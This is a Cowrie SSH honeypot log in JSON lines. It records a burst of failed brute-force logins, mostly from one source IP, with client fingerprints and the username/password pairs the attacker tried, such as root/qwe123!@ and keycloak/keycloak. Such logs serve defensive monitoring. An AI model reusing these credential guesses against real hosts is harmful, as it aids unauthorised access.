{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:44.735824Z","src_ip":"192.109.200.78","session":"e92c8e8b26d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:44.820301Z","src_ip":"192.109.200.78","session":"e92c8e8b26d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:45.069686Z","src_ip":"192.109.200.78","session":"e92c8e8b26d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:46.156078Z","src_ip":"192.109.200.78","session":"e92c8e8b26d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39572,"dst_ip":"159.203.135.109","dst_port":22,"session":"232fc813d0d5","protocol":"ssh","message":"New connection: 192.109.200.78:39572 (159.203.135.109:22) [session: 232fc813d0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:48.839844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:48.845084Z","src_ip":"192.109.200.78","session":"232fc813d0d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:48.928263Z","src_ip":"192.109.200.78","session":"232fc813d0d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:49.176852Z","src_ip":"192.109.200.78","session":"232fc813d0d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:50.261054Z","src_ip":"192.109.200.78","session":"232fc813d0d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39578,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fad6b062ee0","protocol":"ssh","message":"New connection: 192.109.200.78:39578 (159.203.135.109:22) [session: 9fad6b062ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:52.731025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:52.739483Z","src_ip":"192.109.200.78","session":"9fad6b062ee0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:52.824319Z","src_ip":"192.109.200.78","session":"9fad6b062ee0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:53.076974Z","src_ip":"192.109.200.78","session":"9fad6b062ee0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:54.175713Z","src_ip":"192.109.200.78","session":"9fad6b062ee0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54786,"dst_ip":"159.203.135.109","dst_port":22,"session":"783fe1c0bfdd","protocol":"ssh","message":"New connection: 159.203.92.129:54786 (159.203.135.109:22) [session: 783fe1c0bfdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:56.147154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:56.195249Z","src_ip":"159.203.92.129","session":"783fe1c0bfdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:56.199285Z","src_ip":"159.203.92.129","session":"783fe1c0bfdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Sabbil","password":"Sabbil","message":"login attempt [Sabbil/Sabbil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:56.412783Z","src_ip":"159.203.92.129","session":"783fe1c0bfdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39584,"dst_ip":"159.203.135.109","dst_port":22,"session":"71e77c53c3a0","protocol":"ssh","message":"New connection: 192.109.200.78:39584 (159.203.135.109:22) [session: 71e77c53c3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:56.780588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:56.831293Z","src_ip":"192.109.200.78","session":"71e77c53c3a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:56.888000Z","src_ip":"192.109.200.78","session":"71e77c53c3a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:57.196053Z","src_ip":"192.109.200.78","session":"71e77c53c3a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:57.449580Z","src_ip":"159.203.92.129","session":"783fe1c0bfdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:58.281958Z","src_ip":"192.109.200.78","session":"71e77c53c3a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43034,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ec9837df7be","protocol":"ssh","message":"New connection: 192.109.200.78:43034 (159.203.135.109:22) [session: 9ec9837df7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:00.713878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:00.719233Z","src_ip":"192.109.200.78","session":"9ec9837df7be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:00.803567Z","src_ip":"192.109.200.78","session":"9ec9837df7be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:01.056517Z","src_ip":"192.109.200.78","session":"9ec9837df7be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:02.164300Z","src_ip":"192.109.200.78","session":"9ec9837df7be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43050,"dst_ip":"159.203.135.109","dst_port":22,"session":"79ffce1f8eb8","protocol":"ssh","message":"New connection: 192.109.200.78:43050 (159.203.135.109:22) [session: 79ffce1f8eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:04.826493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:04.843500Z","src_ip":"192.109.200.78","session":"79ffce1f8eb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:04.913591Z","src_ip":"192.109.200.78","session":"79ffce1f8eb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:05.542294Z","src_ip":"192.109.200.78","session":"79ffce1f8eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:06.627067Z","src_ip":"192.109.200.78","session":"79ffce1f8eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50106,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec42d1bafd09","protocol":"ssh","message":"New connection: 192.109.200.78:50106 (159.203.135.109:22) [session: ec42d1bafd09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:08.744494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:08.749303Z","src_ip":"192.109.200.78","session":"ec42d1bafd09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:08.831889Z","src_ip":"192.109.200.78","session":"ec42d1bafd09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:09.083527Z","src_ip":"192.109.200.78","session":"ec42d1bafd09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:10.187894Z","src_ip":"192.109.200.78","session":"ec42d1bafd09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50114,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c1c834704ae","protocol":"ssh","message":"New connection: 192.109.200.78:50114 (159.203.135.109:22) [session: 4c1c834704ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:12.862388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:12.867214Z","src_ip":"192.109.200.78","session":"4c1c834704ae","protocol":"ssh"}
